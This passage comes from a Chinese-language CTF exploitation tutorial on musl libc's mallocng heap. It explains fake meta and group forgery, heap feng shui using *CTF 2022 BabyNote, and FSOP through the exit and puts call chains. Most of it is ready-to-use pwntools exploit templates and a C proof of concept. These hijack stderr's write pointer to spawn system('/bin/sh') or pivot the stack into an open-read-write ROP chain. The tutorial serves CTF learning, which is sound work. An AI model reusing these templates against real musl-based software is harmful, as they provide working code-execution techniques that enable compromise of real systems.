的头部信息。因此只要通过伪造 meta
使得对应字段不为 0 且该字段会覆写 __malloc_replaced
从而在第一次任意地址 malloc
修改 __malloc_replaced
为非 0 。
1 2 *(uint16_t *) (p - 2 ) = (size_t ) (p - g->mem->storage) / UNIT; p[-3 ] = idx;
模板如下:
1 2 3 4 5 6 7 8 9 10 11 malloc_replaced_addr = libc.address + 0xb6f84 fake_meta = '' fake_meta += p64(fake_meta_addr) fake_meta += p64(fake_meta_addr) fake_meta += p64(malloc_replaced_addr - 0x80 - 0x20 + 4 ) fake_meta += p32(0b10 ) fake_meta += p32(0 ) fake_meta += p64(last_idx | (freeable << 5 ) | (sizeclass << 6 ) | (sizeclass << 12 )) fake_meta_area = ('\x00' * 0xfd0 + p64(leak_secret) + fake_meta).ljust(0x2000 , '\x00' )
堆风水 这里以 *CTF 2022 BabyNote 为例 感受一下。
图中绿色表示 Available
,红色表示 Freed
,白色表示 Inuse
。
这里假设 A
为 node
,B
为 name
,C
为 content
,考虑 0x30 的 active
。
首先构造如下堆排布:
释放第一个 node
。 再次创建一个 node
,由于优先分配 Available
状态的 chunk
因此 A
和 C
顺序与正常情况相反。 因为只有链表头不直接相连的 node
才能 uaf,因此需要先填满第二个 group
。 之后释放前面 A
C
顺序相反的 node
。 再次申请一个 node
此时可以利用 uaf 泄露 libc 和 elf 基址。 由于相关基址已经泄露,可以通过堆风水 uaf 伪造 node
节点实现任意地址读和伪造 unlink 相关结构。
IO_FILE _IO_FILE 结构体 musl 中的 _IO_FILE
结构体定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 struct _IO_FILE { unsigned flags; unsigned char *rpos, *rend; int (*close)(FILE *); unsigned char *wend, *wpos; unsigned char *mustbezero_1; unsigned char *wbase; size_t (*read)(FILE *, unsigned char *, size_t ); size_t (*write)(FILE *, const unsigned char *, size_t ); off_t (*seek)(FILE *, off_t , int ); unsigned char *buf; size_t buf_size; FILE *prev, *next; int fd; int pipe_pid; long lockcount; int mode; volatile int lock; int lbf; void *cookie; off_t off; char *getln_buf; void *mustbezero_2; unsigned char *shend; off_t shlim, shcnt; FILE *prev_locked, *next_locked; struct __locale_struct *locale ; };
其中有 4 个函数指针 close
、read
、write
、seek
。在解题时,标准输入输出的三个FILE结构体:stdin
、stdout
、stderr
是我们利用的重点。
FSOP exit 调用链 分析 exit
函数的调用链,发现最终会调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 FILE *volatile __stdin_used = &__stdin_FILE; FILE *volatile __stdout_used = &__stdout_FILE; FILE *volatile __stderr_used = &__stderr_FILE; _Noreturn void exit (int code) { __funcs_on_exit(); __libc_exit_fini(); __stdio_exit(); _Exit(code); } void __stdio_exit(void ) { FILE *f; for (f = *__ofl_lock(); f; f = f->next) close_file(f); close_file(__stdin_used); close_file(__stdout_used); close_file(__stderr_used); } static void close_file (FILE *f) { if (!f) return ; FFINALLOCK(f); if (f->wpos != f->wbase) f->write(f, 0 , 0 ); if (f->rpos != f->rend) f->seek(f, f->rpos - f->rend, SEEK_CUR); }
可以看到 close_file
中可能会调用三个 FILE 的 write
和 seek
函数指针。我们要修改的也正是这两个指针。在没有沙箱的情况下,只需要将 FILE 结构体开头的几个字节修改为 /bin/sh
,再修改 write
指针的值为 system
,以及修改 f->wpos
、f->wbase
中其中之一就可以调用到 system("/bin/sh")
。
总结来说,就是在无沙箱时,需要修改 _IO_FILE
结构体的几个地方:
1 2 3 4 5 6 7 8 9 10 11 12 fake_file = "" fake_file += "/bin/sh" .ljust(8 , '\x00' ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0x114514 ) fake_file += p64(0 ) fake_file += p64(0x1919810 ) fake_file += p64(0 ) fake_file += p64(libc.sym['system' ]) fake_file = fake_file.ljust(0x90 , '\x00' )
对于 musl-1.2.1 及以上版本,结合相关结构的伪造,模板如下(2022强网杯UserManager ):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 payload_addr = libc.address - 0x6fe0 fake_file_addr = payload_addr fake_group_addr = fake_file_addr + 0x90 fake_chunk_addr = fake_group_addr + 0x10 fake_meta_area_offset = ((payload_addr + 0xFFF ) & ~0xFFF ) - payload_addr fake_meta_offset = fake_meta_area_offset + 8 fake_meta_addr = payload_addr + fake_meta_offset stderr_used_addr = libc.address + 0xb43a0 rop_addr = fake_chunk_addr + 0x20 magic_gadget = libc.search(asm('mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]' ), executable=True ).next () pop_rdi_ret = libc.search(asm("pop rdi;ret" ), executable=True ).next () pop_rsi_ret = libc.search(asm("pop rsi;ret" ), executable=True ).next () pop_rdx_ret = libc.search(asm("pop rdx;ret" ), executable=True ).next () pop_rax_ret = libc.search(asm("pop rax;ret" ), executable=True ).next () ret = libc.search(asm("ret" ), executable=True ).next () buf_addr = payload_addr rop = '' rop += p64(pop_rdi_ret) rop += p64(buf_addr) rop += p64(pop_rsi_ret) rop += p64(0 ) rop += p64(libc.sym['open' ]) rop += p64(pop_rdi_ret) rop += p64(3 ) rop += p64(pop_rsi_ret) rop += p64(buf_addr) rop += p64(pop_rdx_ret) rop += p64(0x100 ) rop += p64(libc.sym['read' ]) rop += p64(pop_rdi_ret) rop += p64(1 ) rop += p64(pop_rsi_ret) rop += p64(buf_addr) rop += p64(pop_rdx_ret) rop += p64(0x100 ) rop += p64(libc.sym['write' ]) fake_file = "" fake_file += "./flag" .ljust(8 , '\x00' ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(rop_addr) fake_file += p64(ret) fake_file += p64(0 ) fake_file += p64(magic_gadget) fake_file = fake_file.ljust(0x90 , '\x00' ) fake_group = p64(fake_meta_addr) + p64(0 ) fake_meta = '' fake_meta += p64(fake_file_addr) fake_meta += p64(stderr_used_addr) fake_meta += p64(fake_group_addr) fake_meta += p32(0b0000 ) fake_meta += p32(0b1110 ) last_idx = 3 freeable = 1 sizeclass = 1 maplen = 0 fake_meta += p64(last_idx | (freeable << 5 ) | (sizeclass << 6 ) | (sizeclass << 12 )) fake_meta_area = p64(leak_secret) + fake_meta payload = '' payload += fake_file payload += fake_group payload = payload.ljust(rop_addr - payload_addr, '\x00' ) payload += rop assert len (payload) <= fake_meta_area_offsetpayload = payload.ljust(fake_meta_area_offset, '\x00' ) payload += fake_meta_area payload = payload.ljust(0x2000 , '\x00' ) fake_node = '' fake_node += p64(4 ) fake_node += p64(fake_chunk_addr) fake_node += p64(0x100 ) fake_node += p64(2 ) fake_node += p64(0xdeadbeef ) fake_node += p64(0 ) fake_node += p64(0 ) add(5 , fake_node) add(6 , payload)
而在有沙箱保护的情况下,需要进行 orw 。
对于 musl-1.2.1 及以上版本,可以通过如下 gadget 实现栈迁移和程序流劫持。
1 mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]
总结来说,就是在有沙箱时,需要修改 _IO_FILE
结构体的 3 个地方:
f->wbase
写入第一个 gadget 地址使得 f->wpos
、f->wbase
不等的同时能够执行到 gadget
write
写入刚才提到的栈迁移的 gadget
偏移 0x30 处写入新的栈地址配合栈迁移 gadget 完成栈迁移
此外还需要在其他地方构造好 ROP 链用于 orw
常用模板如下(2022强网杯UserManager ):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 payload_addr = libc.address - 0x6fe0 fake_file_addr = payload_addr fake_group_addr = fake_file_addr + 0x90 fake_chunk_addr = fake_group_addr + 0x10 fake_meta_area_offset = ((payload_addr + 0xFFF ) & ~0xFFF ) - payload_addr fake_meta_offset = fake_meta_area_offset + 8 fake_meta_addr = payload_addr + fake_meta_offset stderr_used_addr = libc.address + 0xb43a0 rop_addr = fake_chunk_addr magic_gadget = libc.search(asm('mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]' ), executable=True ).next () pop_rdi_ret = libc.search(asm("pop rdi;ret" ), executable=True ).next () pop_rsi_ret = libc.search(asm("pop rsi;ret" ), executable=True ).next () pop_rdx_ret = libc.search(asm("pop rdx;ret" ), executable=True ).next () pop_rax_ret = libc.search(asm("pop rax;ret" ), executable=True ).next () ret = libc.search(asm("ret" ), executable=True ).next () buf_addr = payload_addr rop = '' rop += p64(pop_rdi_ret) rop += p64(buf_addr) rop += p64(pop_rsi_ret) rop += p64(0 ) rop += p64(libc.sym['open' ]) rop += p64(pop_rdi_ret) rop += p64(3 ) rop += p64(pop_rsi_ret) rop += p64(buf_addr) rop += p64(pop_rdx_ret) rop += p64(0x100 ) rop += p64(libc.sym['read' ]) rop += p64(pop_rdi_ret) rop += p64(1 ) rop += p64(pop_rsi_ret) rop += p64(buf_addr) rop += p64(pop_rdx_ret) rop += p64(0x100 ) rop += p64(libc.sym['write' ]) fake_file = "" fake_file += "./flag" .ljust(8 , '\x00' ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(rop_addr) fake_file += p64(ret) fake_file += p64(0 ) fake_file += p64(magic_gadget) fake_file = fake_file.ljust(0x90 , '\x00' ) fake_group = p64(fake_meta_addr) + p64(0 ) fake_meta = '' fake_meta += p64(fake_file_addr) fake_meta += p64(stderr_used_addr) fake_meta += p64(fake_group_addr) fake_meta += p32(0b0000 ) fake_meta += p32(0b1110 ) last_idx = 3 freeable = 1 sizeclass = 8 maplen = 0 fake_meta += p64(last_idx | (freeable << 5 ) | (sizeclass << 6 ) | (sizeclass << 12 )) fake_meta_area = p64(leak_secret) + fake_meta payload = '' payload += fake_file payload += fake_group payload += rop assert len (payload) <= fake_meta_area_offsetpayload = payload.ljust(fake_meta_area_offset, '\x00' ) payload += fake_meta_area payload = payload.ljust(0x2000 , '\x00' ) fake_node = '' fake_node += p64(4 ) fake_node += p64(fake_chunk_addr) fake_node += p64(0x100 ) fake_node += p64(2 ) fake_node += p64(0xdeadbeef ) fake_node += p64(0 ) fake_node += p64(0 ) add(5 , fake_node) add(6 , payload)
poc 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 #include <ctype.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <assert.h> typedef struct _IO_FILE FILE ;struct _IO_FILE { unsigned flags; unsigned char *rpos, *rend; int (*close)(FILE *); unsigned char *wend, *wpos; unsigned char *mustbezero_1; unsigned char *wbase; size_t (*read)(FILE *, unsigned char *, size_t ); size_t (*write)(FILE *, const unsigned char *, size_t ); off_t (*seek)(FILE *, off_t , int ); unsigned char *buf; size_t buf_size; FILE *prev, *next; int fd; int pipe_pid; long lockcount; int mode; volatile int lock; int lbf; void *cookie; off_t off; char *getln_buf; void *mustbezero_2; unsigned char *shend; off_t shlim, shcnt; FILE *prev_locked, *next_locked; struct __locale_struct *locale ; }; size_t rop[0x100 ];int main () { size_t libc_base = (size_t ) system - 0x438a8 ; FILE *stderr_used = (FILE *) (libc_base + 0x295120 ); size_t magic_gadget = libc_base + 0x4a736 ; size_t pop_rax_ret = libc_base + 0x1b95d ; size_t pop_rdi_ret = libc_base + 0x14be2 ; size_t pop_rsi_ret = libc_base + 0x1b2da ; size_t pop_rdx_ret = libc_base + 0x1aeab ; size_t syscall_ret = libc_base + 0x237d7 ; size_t ret = libc_base + 0x1558 ; *(size_t *) &stderr_used->write = magic_gadget; stderr_used->wbase = (unsigned char *) ret; assert(stderr_used->wbase != stderr_used->wpos); stderr_used->mustbezero_1 = (unsigned char *) rop; char *buf = (char *) &rop[30 ]; strcpy (buf, "./flag" ); rop[0 ] = pop_rdi_ret; rop[1 ] = (size_t ) buf; rop[2 ] = pop_rsi_ret; rop[3 ] = 0 ; rop[4 ] = pop_rax_ret; rop[5 ] = 2 ; rop[6 ] = syscall_ret; rop[7 ] = pop_rdi_ret; rop[8 ] = 3 ; rop[9 ] = pop_rsi_ret; rop[10 ] = (size_t ) buf; rop[11 ] = pop_rdx_ret; rop[12 ] = 0x100 ; rop[13 ] = pop_rax_ret; rop[14 ] = 0 ; rop[15 ] = syscall_ret; rop[16 ] = pop_rax_ret; rop[17 ] = 1 ; rop[18 ] = pop_rdi_ret; rop[19 ] = 1 ; rop[20 ] = pop_rsi_ret; rop[21 ] = (size_t ) buf; rop[22 ] = syscall_ret; return 0 ; }
对于 musl-1.2.1 及以下的版本,可以使用如下 gadget 。或者直接将 chunk
申请到栈上写 rop 。例如这道题目 。
1 mov rdx, [rdi+0x30]; mov rsp, rdx; mov rdx, [rdi+0x38]; jmp rdx;
puts 调用链 分析 puts
函数的调用链,发现最终会调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 int puts (const char *s) { int r; FLOCK(stdout ); r = -(fputs (s, stdout ) < 0 || putc_unlocked('\n' , stdout ) < 0 ); FUNLOCK(stdout ); return r; } int fputs (const char *restrict s, FILE *restrict f) { size_t l = strlen (s); return (fwrite(s, 1 , l, f) == l) - 1 ; } size_t fwrite (const void *restrict src, size_t size, size_t nmemb, FILE *restrict f) { size_t k, l = size * nmemb; if (!size) nmemb = 0 ; FLOCK(f); k = __fwritex(src, l, f); FUNLOCK(f); return k == l ? nmemb : k / size; } int __towrite(FILE *f) { ... if (f->flags & F_NOWR) { f->flags |= F_ERR; return EOF; } ... return 0 ; } size_t __fwritex(const unsigned char *restrict s, size_t l, FILE *restrict f) { size_t i = 0 ; if (!f->wend && __towrite(f)) return 0 ; if (l > f->wend - f->wpos) return f->write(f, s, l); ... }
常用模板如下(2022*CTF BabyNote ): get shell
1 2 3 4 5 6 7 8 9 10 11 12 fake_file = "" fake_file += "/bin/sh" .ljust(8 , '\x00' ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0x114514 ) fake_file += p64(0x114514 ) fake_file += p64(0 ) fake_file += p64(0x114514 ) fake_file += p64(0 ) fake_file += p64(libc.sym['system' ]) fake_file = fake_file.ljust(0x80 , '\x00' )
orw(musl-1.2.2)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 fake_name_addr = libc.address + 0xb7990 payload_addr = libc.address - 0x6fe0 fake_file_addr = payload_addr fake_group_addr = fake_file_addr + 0x90 fake_chunk_addr = fake_group_addr + 0x10 fake_meta_area_offset = ((payload_addr + 0xFFF ) & ~0xFFF ) - payload_addr fake_meta_offset = fake_meta_area_offset + 8 fake_meta_addr = payload_addr + fake_meta_offset stderr_used_addr = libc.address + 0xb43a0 rop_addr = fake_chunk_addr magic_gadget = libc.search(asm('mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]' ), executable=True ).next () pop_rdi_ret = libc.search(asm("pop rdi;ret" ), executable=True ).next () pop_rsi_ret = libc.search(asm("pop rsi;ret" ), executable=True ).next () pop_rdx_ret = libc.search(asm("pop rdx;ret" ), executable=True ).next () pop_rax_ret = libc.search(asm("pop rax;ret" ), executable=True ).next () ret = libc.search(asm("ret" ), executable=True ).next () buf_addr = payload_addr rop = '' rop += p64(pop_rdi_ret) rop += p64(buf_addr) rop += p64(pop_rsi_ret) rop += p64(0 ) rop += p64(libc.sym['open' ]) rop += p64(pop_rdi_ret) rop += p64(3 ) rop += p64(pop_rsi_ret) rop += p64(buf_addr) rop += p64(pop_rdx_ret) rop += p64(0x100 ) rop += p64(libc.sym['read' ]) rop += p64(pop_rdi_ret) rop += p64(1 ) rop += p64(pop_rsi_ret) rop += p64(buf_addr) rop += p64(pop_rdx_ret) rop += p64(0x100 ) rop += p64(libc.sym['write' ]) fake_file = "" fake_file += "./flag" .ljust(8 , '\x00' ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(rop_addr) fake_file += p64(ret) fake_file += p64(0 ) fake_file += p64(magic_gadget) fake_file = fake_file.ljust(0x90 , '\x00' ) fake_group = p64(fake_meta_addr) + p64(0 ) fake_meta = '' fake_meta += p64(fake_file_addr) fake_meta += p64(stderr_used_addr) fake_meta += p64(fake_group_addr) fake_meta += p32(0b0000 ) fake_meta += p32(0b1110 ) last_idx = 3 freeable = 1 sizeclass = 8 maplen = 0 fake_meta += p64(last_idx | (freeable << 5 ) | (sizeclass << 6 ) | (sizeclass << 12 )) fake_meta_area = p64(leak_secret) + fake_meta payload = '' payload += fake_file payload += fake_group payload += rop assert len (payload) <= fake_meta_area_offsetpayload = payload.ljust(fake_meta_area_offset, '\x00' ) payload += fake_meta_area payload = payload.ljust(0x2000 , '\x00' ) fake_node = '' fake_node += p64(fake_name_addr) fake_node += p64(fake_chunk_addr) fake_node += p64(len ('fake name' )) fake_node += p64(0 ) fake_node += p64(0 ) add('hijack node' .ljust(0x28 , '\x00' ), fake_node) add("payload" , payload) log.info("fake chunk addr: " + hex (fake_chunk_addr))